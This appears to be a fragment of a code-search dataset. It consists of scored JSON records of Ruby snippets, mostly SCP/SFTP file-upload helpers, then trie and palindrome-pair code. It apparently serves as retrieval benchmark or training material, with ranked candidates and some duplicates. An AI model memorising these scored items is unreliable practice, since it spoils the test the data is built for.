@logger.debug(\"Ensuring remote directory exists for destination upload\")\n sftp.mkdir(File.dirname(dest))\n @logger.debug(\"Uploading file #{path} to remote #{dest}\")\n upload_file = File.open(path, \"rb\")\n begin\n sftp.upload!(upload_file, dest)\n ensure\n upload_file.close\n end\n end\n end\n uploader.call(from)\n end\n end", "title": "" }, { "docid": "e5b2b0433d4288c712df3e6ef9400b5f", "score": "0.55964446", "text": "def upload(local_path, remote_path)\n Net::SCP.start(HOST, USER, :password => PASSWORD, :host_key => \"ssh-rsa\") do |scp|\n scp.upload(local_path, remote_path)\n end\n end", "title": "" }, { "docid": "17e0c5ca88b900eb370724744d4ee007", "score": "0.55847996", "text": "def perform_sync(sftp)\t\t\r\n\t\t@dirs_to_sync.each do |dir_name|\r\n\t\t\tcopy_files(sftp, dir_name)\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "bdc5bc20252a9d4dc51bd05700031b56", "score": "0.5581236", "text": "def scp_host_for_backupdl\n Net::SSH.start(@host, @user, :password => @password) do |ssh|\n ssh.exec!('scp /home/erick/pg_exemplar.sql ecobo95@192.168.1.9:/home/ecobo95/')\n end #DO ENDS\n end", "title": "" }, { "docid": "d1afcdc2ecb0212a4e96268a190d10b5", "score": "0.55792713", "text": "def put_all(local_source_path, remote_destination_path)\n Dir.glob(File.join(local_source_path, \"*\")).each do |filepath|\n klass = is_erb?(filepath) ? ErbPutter : FilePutter\n klass.new(capistrano, filepath, remote_destination_path).put\n end\n end", "title": "" }, { "docid": "eb72e690b51a2a16511fbf0f855a5cb6", "score": "0.55779177", "text": "def upload_remote_file!\n args = [filename, remote_filename]\n args << { :via => configuration[:copy_via] } if configuration[:copy_via]\n\n upload(*args)\n end", "title": "" }, { "docid": "ab1c087d1a96dc51a9b4c88360590858", "score": "0.5571493", "text": "def private_copy_archive_to_node_and_extract(source, dst_dir, orig_name, rename_to)\n # Copy remote archive to local (node) archive\n local_tarfile = Tempfile.new(\"systemtest_copy_\")\n filereader = @testcase.create_filereader\n filereader.openfile(source)\n while block = filereader.read(4096)\n s = local_tarfile.write(block)\n end\n local_tarfile.close()\n\n # Extract files locally\n FileUtils.mkdir_p(dst_dir)\n cmd = \"cd #{dst_dir} && tar xzf #{local_tarfile.path}\"\n execute(cmd)\n\n # Remove temporary archives\n local_tarfile.close!();\n end", "title": "" }, { "docid": "98329fa926bee45b83480605bf2d9e84", "score": "0.5569684", "text": "def upload(params, &block)\n host = params[:host] or raise \"No :host argument given\"\n user = params[:user] || @config[:credentials][:username]\n password = @config[:credentials][:password]\n local = params[:local] or raise \"No :local argument given\"\n remote = params[:remote] || params[:local]\n if @environment.in_dry_run_mode\n notify(:msg => \"Would upload local file #{local} as user #{user} to host #{host} at #{remote}\",\n :tags => [:ssh, :dryrun])\n else\n response = nil\n Net::SCP.start(host, user, :password => password) do |scp|\n scp.upload!(local, remote, &block)\n end\n end\n end", "title": "" }, { "docid": "52e43304ff7f8095c1267dcaa6e6bd0a", "score": "0.5566708", "text": "def file_upload(source, target, name)\n Puppet.debug \"Uploading #{source}/#{name} to #{target}\"\n dir = getContainer(target)\n\n if dir.nil?\n # Create a directory\n dir = @cdn.directories.create(\n :key => target, # globally unique name\n :public => true\n )\n Puppet.debug \"Directory created: #{target}\"\n dir = @cdn.directories.get(target)\n end\n\n # Uploads the file\n file = dir.files.create(\n :key => name,\n :body => File.open(\"#{source}/#{name}\"),\n :public => false\n )\n\n Puppet.debug \"File uploaded!\"\n end", "title": "" }, { "docid": "7bb16eccac9d2a1defb5ca757b5526c6", "score": "0.5562329", "text": "def copy_file(file)\n success = false\n cnt = 0\n while not success and cnt < 10 do\n begin\n Net::SCP.start(self.public_dns_name, @options[:login_name], {:keys => @options[:key_location], :port => @options[:ssh_port], :timeout => 30}) do |scp|\n res = scp.upload(file, '.')\n success = true\n end\n rescue Errno::ECONNREFUSED\n cnt += 1\n puts \"Retrying scp #{cnt}th time for #{self.public_dns_name}\"\n sleep(10)\n end\n end\n end", "title": "" }, { "docid": "e1c10f26fb3889b1bca25ffbb5af35a9", "score": "0.5540575", "text": "def transmit_file(upload_file, file_id)\n Net::SFTP.start(ENV['PROQUEST_SFTP_HOST'], ENV['PROQUEST_SFTP_USER'], password: ENV['PROQUEST_SFTP_PASSWORD']) do |sftp|\n Rails.logger.debug \"Uploading #{upload_file} to ProQuest\"\n sftp.upload!(upload_file, \"#{file_id}.zip\")\n end\n end", "title": "" }, { "docid": "8d3ada46876a1ace9551fab6c4798773", "score": "0.5538879", "text": "def scp_put(host, src, dst, opts={}, &block)\n opts = @opts.merge(opts)\n scp(:upload, host, src, dst, opts, &block)\n end", "title": "" }, { "docid": "c5eeace320e3c93e5c45c0126d74387d", "score": "0.5533227", "text": "def sftp( keys )\n keys = upload_parameters(keys)\n\n # set transfer rules\n if keys.stage\n trans = stage_transfer(keys.stage)\n else\n files(keys.dir, keys.copy).each do |from|\n trans << [from,from]\n end\n end\n\n # append location of publication dir to from\n dir = keys.dir\n trans.collect!{ |from,to| [File.join(dir,from), to] }\n\n if keys.dryrun\n puts \"sftp open #{keys.user}@#{keys.host}:#{keys.root}/\"\n keys.trans.each do |f,t|\n puts \"sftp put #{f} #{t}\"\n end\n else\n require 'net/sftp'\n Net::SFTP.start(keys.host, keys.user, keys.pass) do |sftp|\n #sftp.login( user )\n sftp.chdir(keys.root)\n keys.trans.each do |f,t|\n puts \"sftp #{f} #{t}\" unless keys.quiet\n sftp.put_file(f,t) #, 1024 )\n end\n end\n end\n end", "title": "" }, { "docid": "4e93c1e01e4a4dca25aa2980632b12a6", "score": "0.552266", "text": "def source_send_file(local, target)\n\t\t@source.file_send(local, target)\n\tend", "title": "" }, { "docid": "f4413d803d8320e17844cff2d3b69c57", "score": "0.5516115", "text": "def machine_upload_file(ui, communicator, src_file, dst_file)\n if src_file.nil?\n ui.info I18n.t('ssh_key.not_found')\n return false\n end\n prepare_guest_file communicator, dst_file\n write_lines_to_remote_file communicator, read_file_good(src_file), dst_file\n true\n end", "title": "" }, { "docid": "c82c2e7bc9281f173bb72f66d85d29ae", "score": "0.55158246", "text": "def ssh(src,uri)\n log \"Publishing #{src} to #{uri}...\"\n \n host = uri.host\n user = uri.user ? uri.user : Etc.getlogin\n pass = uri.password ? { password: uri.password } : {}\n dest = uri.path\n\n log \"Connecting to #{host}\"\n begin\n Net::SCP.start(host,user,pass) do |scp|\n log \"Uploading\"\n scp.upload!(src+'/.',dest, recursive: true, preserve: true)\n log \"Done\"\n end\n rescue Net::SSH::AuthenticationFailed, Net::SCP::Error => e\n abort (\"SCP Failure: #{e}\")\n end\n end", "title": "" }, { "docid": "538493b5134c0874b7e6fc420c380b4f", "score": "0.55131036", "text": "def distribute!\n args = [ filename, remote_filename ]\n args << { :via => configuration[:copy_via] } if configuration[:copy_via]\n run \"mkdir #{configuration[:release_path]}\"\n upload(*args)\n end", "title": "" }, { "docid": "7bfaf8612adc82bb6f99eb559c4a95eb", "score": "0.55070204", "text": "def put(local_file, remote_file=nil)\n remote_file = remote_file.nil? ? File.basename(local_file) : remote_file\n @log.debug(sprintf('scp from host[%s] to VM[%s]', local_file, remote_file))\n\n raise FileTransferError.new(sprintf('unable to put[%s], local file does not exist', local_file)) unless File.file?(local_file)\n\n begin\n @ssh.scp.upload!(local_file, remote_file)\n rescue => e\n raise FileTransferError.new(sprintf('unable to put[%s], exception[%s]', local_file, e.message()))\n end\n\n end", "title": "" }, { "docid": "7bfaf8612adc82bb6f99eb559c4a95eb", "score": "0.55070204", "text": "def put(local_file, remote_file=nil)\n remote_file = remote_file.nil? ? File.basename(local_file) : remote_file\n @log.debug(sprintf('scp from host[%s] to VM[%s]', local_file, remote_file))\n\n raise FileTransferError.new(sprintf('unable to put[%s], local file does not exist', local_file)) unless File.file?(local_file)\n\n begin\n @ssh.scp.upload!(local_file, remote_file)\n rescue => e\n raise FileTransferError.new(sprintf('unable to put[%s], exception[%s]', local_file, e.message()))\n end\n\n end", "title": "" }, { "docid": "0d7a9b0c58c0c9cb81bd07c35039892d", "score": "0.55064887", "text": "def transfer\n Node.all.each do |node|\n pn = self.nodes.new\n pn.update_from(node)\n pn.save!\n end\n\n Relation.all.each do |relation|\n pr = self.relations.new\n pr.update_from(relation)\n pr.save!\n end\n\n RelationMember.all.each do |relation_member|\n prm = self.relation_members.new\n prm.update_from(relation_member)\n prm.save!\n end\n\n WayNode.all.each do |way_node|\n pwn = self.way_nodes.new\n pwn.update_from(way_node)\n pwn.save!\n end\n\n Way.all.each do |way|\n pw = self.ways.new\n pw.update_from(way)\n pw.save!\n end\n\n User.all.each do |user|\n pu = self.users.new\n pu.update_from(user)\n pu.save!\n end\n end", "title": "" }, { "docid": "086c36e7ee5cc5a7661fe5ce82d6bda4", "score": "0.5488137", "text": "def transfer(request:, depositor:, collection:)\n request.walk_packages do |package_id, package|\n package.each do |disseminate_file|\n @transferred_packages[package_id] = {} if @transferred_packages[package_id].nil?\n\n @transferred_packages[package_id][disseminate_file[:filepath]] =\n File.join(@sfs_prefix, depositor, collection, disseminate_file[:filepath])\n end\n end\n end", "title": "" }, { "docid": "adcf1c7fae87751f95fe8374e24501f4", "score": "0.5484758", "text": "def fetch_and_push_pe(host, path, filename, extension, local_dir='tmp/pe')\n fetch_http_file(\"#{path}\", \"#{filename}#{extension}\", local_dir)\n scp_to host, \"#{local_dir}/#{filename}#{extension}\", host['working_dir']\n end", "title": "" }, { "docid": "05d801a664d3f3b2bb526f836f88f329", "score": "0.5472455", "text": "def test_simple_upload\n\t\t\tcmd = \"./bin/fcp -a -P 9999\"\n\t\t\tfile = \"test/tmp_client/foo\"\n\t\t\tremote_dir = \"test/tmp_server/\"\n\t\t\tremote_file = remote_dir + \"/\" + File.basename(file)\n\n\t\t\tcreate_file(file, \"FOO\")\n\n\t\t\ttest_copy_helper(\"#{cmd} #{file} ftp://localhost:#{remote_dir}\",\n\t\t\t\tfile, remote_file)\n\t\tend", "title": "" }, { "docid": "6fcc0191d90483b244acf7d28656e2c5", "score": "0.5467353", "text": "def upload(locals, remote)\n FileUtils.mkdir_p(remote)\n Array(locals).each do |local|\n FileUtils.cp_r(local, remote)\n end\n end", "title": "" }, { "docid": "9dcba6881740b929be99462b9ab1ac1f", "score": "0.5463103", "text": "def ssh_scp(local_file, remote_file)\n Net::SSH.start(self.class.ssh_host, self.class.ssh_username, {:verbose => Logger::FATAL, :keys => Array[self.class.ssh_private_key_file], :encryption => \"3des-cbc\", :hmac => \"hmac-md5\", :auth_methods => Array[\"publickey\"]}) do |ssh|\n ssh.scp.upload!(local_file, remote_file) do |ch, name, sent, total|\n puts \"#{name}: #{sent}/#{total}\"\n end\n end\n end", "title": "" }, { "docid": "b8eeadb5ef8c51e7d1d3fa99ccc95ce1", "score": "0.54617137", "text": "def remote_copy(from, to, sudo: false, owner: nil, group: nil)\n if @nodes_handler.get_ssh_session_exec_of(@node) == false\n # We don't have ExecSession, so don't use ssh, but scp instead.\n if sudo\n # We need to first copy the file in an accessible directory, and then sudo mv\n remote_bash('mkdir -p hpc_tmp_scp')\n run_cmd \"scp -S #{ssh_exec} #{from} #{ssh_url}:./hpc_tmp_scp\"\n remote_bash(\"#{@nodes_handler.sudo_on(@node)} mv ./hpc_tmp_scp/#{File.basename(from)} #{to}\")\n else\n run_cmd \"scp -S #{ssh_exec} #{from} #{ssh_url}:#{to}\"\n end\n else\n run_cmd <<~EO_BASH\n cd #{File.dirname(from)} && \\\n tar \\\n --create \\\n --gzip \\\n --file - \\\n #{owner.nil? ? '' : \"--owner #{owner}\"} \\\n #{group.nil? ? '' : \"--group #{group}\"} \\\n #{File.basename(from)} | \\\n #{ssh_exec} \\\n #{ssh_url} \\\n \\\"#{sudo ? \"#{@nodes_handler.sudo_on(@node)} \" : ''}tar \\\n --extract \\\n --gunzip \\\n --file - \\\n --directory #{to} \\\n --owner root \\\n \\\"\n EO_BASH\n end\n end", "title": "" }, { "docid": "31af186393e9e86def593ad667cc627b", "score": "0.545951", "text": "def setup\n FileUtils.mkpath(host_path)\n FileUtils.mkpath(host_push)\n FileUtils.mkpath(host_pull)\n end", "title": "" }, { "docid": "127c734b1e09ca163da64b4792693fe2", "score": "0.5457777", "text": "def ssh_AWS\n scp = Net::SCP.start(\"#{ENV['Instance']}\", \"#{ENV['User']}\", :keys => [\"#{ENV['PEM']}\"])\n # link used http://stackoverflow.com/questions/14658363/proxy-tunnel-through-multiple-systems-with-ruby-netssh\n $file_array.each { |file| scp.upload! \"#{file}\", '/home/ec2-user/'}\n p 'File uploaded ...'\n Net::SSH.start(\"#{ENV['Instance']}\", \"#{ENV['User']}\", :keys => [\"#{ENV['PEM']}\"]) do |session|\n p 'Clearing Backlot queue ...'\n session.exec!('drush queue-run foxtel_backlot --root=/var/www/foxtel-cms/www')\n session.exec!(\"sudo rm -rf #{ENV['LogFile']}\")\n session.exec!('sudo /etc/init.d/ingestadapter restart')\n sleep 5\n session.exec!(\"sudo mv /home/ec2-user/*.xml #{ENV['WatchFolder']}\" )\n do_tail session, \"#{ENV['LogFile']}\"\n end\n end", "title": "" }, { "docid": "bb69ff69b944865e0ea607aaec407130", "score": "0.54541993", "text": "def setup_destination(host, pubkey)\n host.set_timeout(300)\n\n host.puts(\"mkdir /mnt/migration_target\")\n host.prompt\n\n disk = host.query(\"DISK_XVDB1\", \"[ -e /dev/xvdb1 ] && printf 'xvdb1'\")\n disk = \"sda1\" if disk.empty?\n host.puts(\"mount -o acl /dev/#{disk} /mnt/migration_target\")\n host.prompt\n\n preserve_files = [\"passwd\", \"shadow\", \"group\"]\n path = \"/mnt/migration_target/etc\"\n preserve_files.each do |file|\n copy_command = \"[ -f #{path}/migration.#{file} ] || /bin/cp -a \" +\n \"#{path}/#{file} #{path}/migration.#{file}\"\n host.puts(copy_command)\n host.prompt\n end\n\n package_manager = host.query(\"MANAGER\", \"which {yum,apt-get} 2>/dev/null\")\n host.set_timeout(120) do\n host.puts(\"#{package_manager} install rsync -y\")\n host.prompt\n end\n\n host.puts(\"rsync\")\n host.expect(/rsync error/)\n host.prompt\n\n ssh_key = \"mkdir $HOME/.ssh; chmod 0700 $HOME/.ssh; printf \" +\n \"'#{pubkey}\\\\n' >> $HOME/.ssh/authorized_keys\"\n host.puts(ssh_key)\n host.prompt\n end", "title": "" }, { "docid": "57ed99429a5d0c5c5c41b7b6e01a076a", "score": "0.54529864", "text": "def upload_to_temp_file(host_src_file_path)\n tmp_file_path = File.join(guest_temp_dir, \"winrm-upload-#{rand()}\")\n @logger.debug(\"Uploading '#{host_src_file_path}' to temp file '#{tmp_file_path}'\")\n \n base64_host_file = Base64.encode64(IO.binread(host_src_file_path)).gsub(\"\\n\",'')\n base64_host_file.chars.to_a.each_slice(8000-tmp_file_path.size) do |chunk|\n out = @shell.cmd(\"echo #{chunk.join} >> \\\"#{tmp_file_path}\\\"\")\n raise_upload_error_if_failed(out, host_src_file_path, tmp_file_path)\n end\n \n tmp_file_path\n end", "title": "" } ]
2f4e94211bc288c410cedcfbc5306aa2
pt = PalindromeTrie.new pt.add('haha', 1) p pt
[ { "docid": "1fffba15b1f7ca59fb45c504a3017a71", "score": "0.5698409", "text": "def palindrome_pairs(*words)\n pt = PalindromeTrie.new\n pairs = 0\n\n words.each do |word|\n result = pt.find(word)\n puts result\n if result[:status] == 'found'\n pairs += 1\n elsif result[:status] == 'word shorter'\n if result[:words].any? { |w| palindrome?(w) }\n pairs += 1\n else\n pt.add(word, nil)\n end\n elsif result[:status] == 'word longer'\n if palindrome?(word[result[:length]..-1])\n pairs += 1\n else\n pt.add(word, nil)\n end\n else\n pt.add(word, nil)\n end\n end\n\n [pairs, pt.root.children.keys]\nend", "title": "" } ]
[ { "docid": "f1ff53cc37f8870603f7770a7fa4b7f6", "score": "0.6463889", "text": "def build_trie(*words)\n puts \"Implement me! :)\"\nend", "title": "" }, { "docid": "4c7e8ecc5b0ab7f0ce179ee0feaef0d1", "score": "0.61632514", "text": "def imprimir_trie\n puts 'letras entre || representan el final de una palabra'\n @trie.prt(0)\n end", "title": "" }, { "docid": "8b1598deccd007e4ebb80a1dd1c8d428", "score": "0.6070668", "text": "def add_word(word, level)\n\n current = nil\n\n for i in 0..word.length-1\n \n letter = word[i]\n #puts letter + \", \"\n if letter == \".\"\n current.final = true\n return current\n end\n \n if (i == 0)\n \n if $trie[letter] == nil\n current = Node.new(letter, level)\n $trie[letter] = current\n else\n current = $trie[letter]\n current.add_level(level)\n end\n else\n if current[letter] == nil\n \n current[letter] = Node.new(letter, level)\n current = current[letter]\n else\n \n current = current[letter]\n current.add_level(level)\n end\n end\n end\n \n return current \nend", "title": "" }, { "docid": "b42a739539689bf52bc5195c8dc71341", "score": "0.60643697", "text": "def insert(word)\n @trie[word] = true \n end", "title": "" }, { "docid": "0b6987d054624b348af8a2615e7b6719", "score": "0.5990981", "text": "def add word\n\t\t\tnode = @root\n\t\t\tword.each_char do |char|\n\t\t\t\tnode.children[char] ||= TrieNode.new char\n\t\t\t\tnode = node.walk(char)\n\t\t\tend\n\t\t\tnode.terminal = true\n\t\tend", "title": "" }, { "docid": "80a63c0f48a7631678bf9610f96d62c4", "score": "0.5942254", "text": "def t9_trie(numbers, idx = 0, word = \"\")\n if idx == numbers.length\n if word.length == numbers.length\n return word\n else\n return nil\n end\n end\n words = []\n letters = NUM_MAP[idx]\n letters.each do |letter|\n if DICTIOANRY_TRIE(word+letter)\n words.push(t9_trie(numbers, idx+1, word+letter))\n end\n end\n words\n\nend", "title": "" }, { "docid": "4b48a78b9344ffc47a6a1aa0d326244a", "score": "0.591933", "text": "def subtrie(letter)\n trie = @hash[letter]\n if trie.nil?\n trie = @hash[letter] = Trie.new(@level + 1)\n end\n trie\n end", "title": "" }, { "docid": "4b48a78b9344ffc47a6a1aa0d326244a", "score": "0.591933", "text": "def subtrie(letter)\n trie = @hash[letter]\n if trie.nil?\n trie = @hash[letter] = Trie.new(@level + 1)\n end\n trie\n end", "title": "" }, { "docid": "252a41850e8b3083bd72ff4d6e17bde5", "score": "0.5900619", "text": "def insert(word)\n ptr = @trie\n word.each_char do |char|\n ptr[char] ? ptr = ptr[char] : ptr = (ptr[char] = {})\n end\n ptr[nil] = true\n end", "title": "" }, { "docid": "57721e2277d0d7df7d6e505c6c540961", "score": "0.588747", "text": "def build_trie\n @root\n end", "title": "" }, { "docid": "ca1d11e2d4ed5be3e3d0a4b2728e2b1e", "score": "0.5869086", "text": "def initialize \n\t\t\t@root = TrieNode.new ''\n\t\tend", "title": "" }, { "docid": "6d0ad34795d8837ba1f5b16cb22a379e", "score": "0.5857543", "text": "def insert(word)\n p = @trie\n word.each_char do |c|\n p = p[c]\n end\n p[\"#\"] = true\n end", "title": "" }, { "docid": "1dbda05a43c4615917810075d631aceb", "score": "0.58148646", "text": "def initialize\n @root = TrieNode.new('')\n end", "title": "" }, { "docid": "aec0e785ba309265f0cdbd9207d81a52", "score": "0.5812973", "text": "def pal(s)\nend", "title": "" }, { "docid": "f865a4ad8f1cbbbaf308952c7b2e1119", "score": "0.5811442", "text": "def insert(word, current = trie_node)\n first_letter = word[0]\n rest_of_letters = word[1..-1]\n node = nil\n found = false\n\n @count += 1\n end", "title": "" }, { "docid": "8ad3a192d6641a2ac85af9c5cb3cc59c", "score": "0.57790965", "text": "def new_wp(str)\r\n aEojeol[iLastIdxOfaEojeol].iIdxOfNodeForEojeol = 0\r\n ret_val = iLastIdxOfaEojeol \r\n iLastIdxOfEojeol += 1\r\n return ret_val\r\n end", "title": "" }, { "docid": "bb1e6521bc4c21adf17f134b4a936cf9", "score": "0.5778518", "text": "def add(word)\n if word == \"\"\n @word_end = true\n else\n if @chars[word[0]] == nil\n # Add new letter and recursively\n # add substring\n @chars[word[0]] =\n DictionaryTrie.new(word[1..-1])\n else\n # Add substring recursively\n @chars[word[0]].add(word[1..-1])\n end\n end\n end", "title": "" }, { "docid": "98029d7577385121cd3752c15ef1010e", "score": "0.57455796", "text": "def insert(word)\n trie_ptr = self\n word.each_char.with_index do |ch, idx|\n if !trie_ptr.map_of_children[ch]\n trie_ptr.map_of_children[ch] = Trie.new\n end\n if idx == word.length-1\n trie_ptr.map_of_children[ch].end_of_word = true\n end\n trie_ptr = trie_ptr.map_of_children[ch]\n end\n end", "title": "" }, { "docid": "a616123fbc66b3db9414c775228a0e1b", "score": "0.5729062", "text": "def agregar(palabra, relacion)\n return if palabra.nil?\n\n @trie.agregar(palabra, relacion)\n end", "title": "" }, { "docid": "28888ed379aa0e9a399ac00e4d4b4ce8", "score": "0.57061577", "text": "def hash_lookup trie\n trie.find_prefix \"'#{self}'\"\n end", "title": "" }, { "docid": "ef9c4a4fff3a2e9b47f67d4ad4330e3a", "score": "0.5697451", "text": "def add_word(word)\n node = @root\n word.each_char do |char|\n letter_index = char.ord - 'a'.ord\n node.children[letter_index] ||= TrieNode.new\n node = node.children[letter_index]\n end\n node.is_word = true\n end", "title": "" }, { "docid": "e0c5e005252bc4fdc4484ce176405cf9", "score": "0.5651239", "text": "def insert(word)\n node = @root\n word.chars.each do |char|\n if !node.children[char]\n node.children[char] = TrieNode.new\n end\n\n node = node.children[char]\n end\n node.word = true\n end", "title": "" }, { "docid": "d58f102026bf4970646e8789c330570b", "score": "0.5635886", "text": "def insert(word)\n curr = @root\n word.each_char do |char|\n curr = (curr[char] ||= TrieNode.new)\n end\n curr[:_] = true\n end", "title": "" }, { "docid": "3c4ce67688dfcfa68b818cca8193fe5f", "score": "0.5607141", "text": "def add(word)\n if word.length > 0 # there was a zero length char after this, idk\n if @children[word.first] # if current letter exists in hash, add to it\n\t@children[word.first].add(word[1, word.length])\n\t@children[word.first].word = true if (word.length == 1)\n else # if the letter doesn't exist, create it\n\t@children[word.first] = LetterTree.new(word[1, word.length])\n\t@children[word.first].word = true if (word.length == 1)\n end\n end\n end", "title": "" }, { "docid": "dbe693d821680a9b2ee736c4c104c71a", "score": "0.56050843", "text": "def add(string)\r\n # Verify the validity of inputs\r\n if string == nil\r\n return false;\r\n end\r\n\r\n @size += 1;\r\n\r\n string = string.downcase();\r\n aux = @root;\r\n\r\n string.each_char { |c|\r\n index = c.ord - 'a'.ord;\r\n\r\n if aux.children[index] == nil\r\n aux.children[index] = TrieNode.new();\r\n aux.childCount += 1;\r\n end\r\n\r\n aux = aux.children[index];\r\n }\r\n\r\n aux.count += 1;\r\n return true;\r\n end", "title": "" }, { "docid": "711f56afe6915fb3df3cbd0220b21fe4", "score": "0.5604698", "text": "def findSubstrings(words,parts)\n \nz = \"class Trie\n attr_accessor :keys\n def initialize\n @keys = {}\n end\n def add node\n keys[node.val] = node if keys[node.val].nil?\n end\n \n def prefix(arr)\n acc = ''\n n = self\n word = false\n arr.each do |char|\n if n.keys[char]\n n = n.keys[char]\n acc += n.val\n word = acc if n.leaf?\n else\n return word\n end\n end\n word\n end\n\n def insert(word)\n n = self\n word.chars.each do |char|\n if n.keys[char]\n n = n.keys[char]\n else\n n = n.add(Node.new(char))\n end\n end\n n.leaf!\n self\n end\nend\n\n\n\nclass Node\n attr_accessor :keys, :val\n def initialize(val)\n @keys = {}\n @leaf = false\n @val = val\n end\n def leaf!\n @leaf = true\n end\n def leaf?\n @leaf\n end\n def add node\n keys[node.val] = node if keys[node.val].nil?\n end\n \nend\"\neval(z)\n\n\n\n # create Trie\n trie = Trie.new\n parts.each { |x| trie.insert(x)}\n # find replasefor words\n words.map{|w|\n arr = w.chars\n pat = false\n max = \"\"\n (0..arr.size-1).each do |x|\n pat = trie.prefix(arr[x..-1])\n max = pat if pat && max.size < pat.size\n end\n w.sub!(max,\"[#{max}]\") if !max.empty?\n w\n }\nend", "title": "" }, { "docid": "3b248e5d90d4fb3fd28cd7107beef380", "score": "0.5601151", "text": "def insert(word)\n current_node = @root\n\n word.chars.each do |ch|\n if !current_node.children.has_key?(ch)\n current_node.children[ch] = TrieNode.new\n end\n\n current_node = current_node.children[ch]\n end\n\n current_node.children['$'] = true\n end", "title": "" }, { "docid": "d24725f24d9328353c346c3d623f2b15", "score": "0.558746", "text": "def add(string)\n letter = curr_letter(string)\n if letter.nil?\n @hash[letter] = string\n else\n trie = @hash[letter]\n if trie.nil?\n trie = @hash[letter] = Trie.new(@level + 1)\n end\n trie.add(string)\n end\n end", "title": "" }, { "docid": "2e4880fca9627bed68093192df969f06", "score": "0.5569331", "text": "def add(string)\n letter = this_letter(string)\n if letter.nil?\n @hash[letter] = string\n else\n trie = @hash[letter]\n if trie.nil?\n trie = @hash[letter] = Trie.new(@level + 1)\n end\n trie.add(string)\n end\n end", "title": "" }, { "docid": "b536b87c5e357322b5fba113656501a0", "score": "0.5559669", "text": "def build_tree\n current_node = nil\n \n @dictionary.each do |word|\n current_node = @root_node\n (0...word.length).each do |i|\n chr = word[i]\n previous_node = current_node\n if current_node.children.length > 0\n current_node.children.each do |child|\n if child.value == chr\n current_node = child\n break\n end\n end\n \n end\n if current_node == previous_node\n new_node = PolyTreeNode.new(chr)\n #we should be using PolyTreeNode function 'add_child' instead of shoveling\n current_node.children << new_node\n current_node = new_node\n end\n end\n end\n end", "title": "" }, { "docid": "9c8d81be439a624e4d8ecc8d825a6931", "score": "0.55516976", "text": "def insert(word)\n node = root\n word.chars do |char|\n if node[char].nil?\n node[char] = Trie::Node.new\n end\n node = node[char]\n end\n node.mark_as_ended\n nil\n end", "title": "" }, { "docid": "806ec403f3129cb1d4c8a978b871e8f4", "score": "0.55431193", "text": "def build_trie(*words)\n trie = {}\n\n words.each do |word|\n chars = ''\n last_hash = trie\n word_length = word.length\n word.each_char.with_index do |char, i|\n chars << char\n if last_hash[chars]\n last_hash = last_hash[chars]\n next\n elsif i == word_length - 1\n last_hash[chars] = nil\n else\n last_hash[chars] = {}\n last_hash = last_hash[chars]\n end\n end\n end\nend", "title": "" }, { "docid": "73caf10c76acce6939f1d154a3009079", "score": "0.5538432", "text": "def preprocess\n\twordlist = File.open('wordlist').read.split\n\tctrie = Trie.new\n\twordlist.each do |w|\n\t\tctrie.add w\n\tend\n\tputs 'finished ctrie'\n\tctrie.save('ctrie.dict')\nend", "title": "" }, { "docid": "97cd0c96bf904de6ea36f95f8cf42c21", "score": "0.5528446", "text": "def insert(word)\n node = root\n word.chars.each do |c|\n node.children[c] = TrieNode.new unless node.children.key?(c)\n node = node.children[c]\n end\n node.word = true\n end", "title": "" }, { "docid": "1ee1bc8c64b2c8f8df201a595ebcf334", "score": "0.5514261", "text": "def initialize()\n @root = Trie::Node.new\n end", "title": "" }, { "docid": "cf40f7587d3afdfd03b29883e4c611ea", "score": "0.5484102", "text": "def initialize(word = '')\n @children = Hash.new\n add(word)\n self.word = false\n end", "title": "" }, { "docid": "7224253ce8ba9f868f794e6dddb474ee", "score": "0.5436489", "text": "def trie(max_rarity = nil)\n # Let's turn this:\n #\n # \"century\": {\n # \"rarity\": 462.0,\n # \"ipa\": {\n # \"cmu\": \"sɛntʃɝɪ\",\n # \"phonemicchart.com\": \"sentʃərɪ\",\n # \"wiktionary\": \"sɛntʃəɹi\",\n # \"wiktionary2\": \"sɛntʃɹi\",\n # \"wiktionary3\": \"sɛntʃʊɹi\"\n # },\n # \"alt_display\": \"CENTURY\"\n # }\n #\n # into this:\n #\n # \"s\": {\n # \"e\": {\n # \"n\": {\n # \"t\": {\n # \"ʃ\": {\n # \"ʊ\": {\n # \"ɹ\": {\n # \"i\": {\n # \"terminal\": [Term('century')],\n # },\n # },\n # },\n # \"ə\": {\n # \"r\": {\n # \"ɪ\": {\n # \"terminal\": [Term('century')],\n # },\n # },\n # },\n # \"ɹ\": {\n # \"i\": {\n # \"terminal\": [Term('century')],\n # },\n # },\n # \"ɝ\": {\n # \"ɪ\": {\n # \"terminal\": [Term('century')],\n # },\n # },\n # },\n # },\n # },\n # },\n # \"ɛ\": {\n # \"n\": {\n # \"t\": {\n # \"ʃ\": {\n # \"ɝ\": {\n # \"ɪ\": {\n # \"terminal\": [Term('century')],\n # },\n # },\n # },\n # },\n # },\n # },\n # },\n #\n @tries ||= {}\n @tries[max_rarity] ||= begin\n base_trie = {}\n transcriptions.each do |key, entry|\n next if max_rarity && (entry['rarity'].nil? || entry['rarity'] > max_rarity)\n\n entry_data = {\n word: key,\n rarity: entry['rarity'],\n }\n entry.fetch('ipa', []).each do |_source, transcription|\n base_trie = construct_trie(base_trie, transcription, entry_data)\n end\n end\n base_trie.freeze\n end\n end", "title": "" }, { "docid": "2cfca69448a73776c6402989d5f2b6ad", "score": "0.53864", "text": "def build_dict\n trie = Trie.new\n File.open('dict.txt').each_line.to_a.map!(&:strip).each {|w| trie.add w }\n \n trie\nend", "title": "" }, { "docid": "76f20ffda8875def6684640b0b7ca9dd", "score": "0.538612", "text": "def hash_lookup trie\n raise RubyWrite::Fail.new \"Symbol::hash_get_value: Unexpected call on Symbol :#{self}\"\n end", "title": "" }, { "docid": "0bb091fdc54bf224a537bc9d0ed07a7a", "score": "0.53811425", "text": "def add(string)\n word = Word.new(string)\n remove(word)\n @subletter_hash[word] = create_subletter_set(word)\n word\n end", "title": "" }, { "docid": "76b4bde53591825718efa100940bbfcd", "score": "0.5366677", "text": "def insert(word)\n walker = @trie\n word.each_char do |c| \n walker[c] ||= {}\n walker = walker[c]\n end\n walker[' '] = true\n end", "title": "" }, { "docid": "5aaadbb16741ee1e4c163247b8d4c1d7", "score": "0.53666556", "text": "def add_lexeme( lexeme, whole )\n\n in_lexicon = $lexicon.index( lexeme )\n\n# Is it there ?\n\n if in_lexicon then # Count it. \n \n $lexicon_infos[in_lexicon]['+'] += 1 \n\n else # Otherwise, create it. \n \n in_lexicon = $lexicon.length\n $lexicon << lexeme\n \n $lexicon_infos << { 'k' => in_lexicon, # This is actually the lexeme's index inside $lexicon_infos.\n 'w' 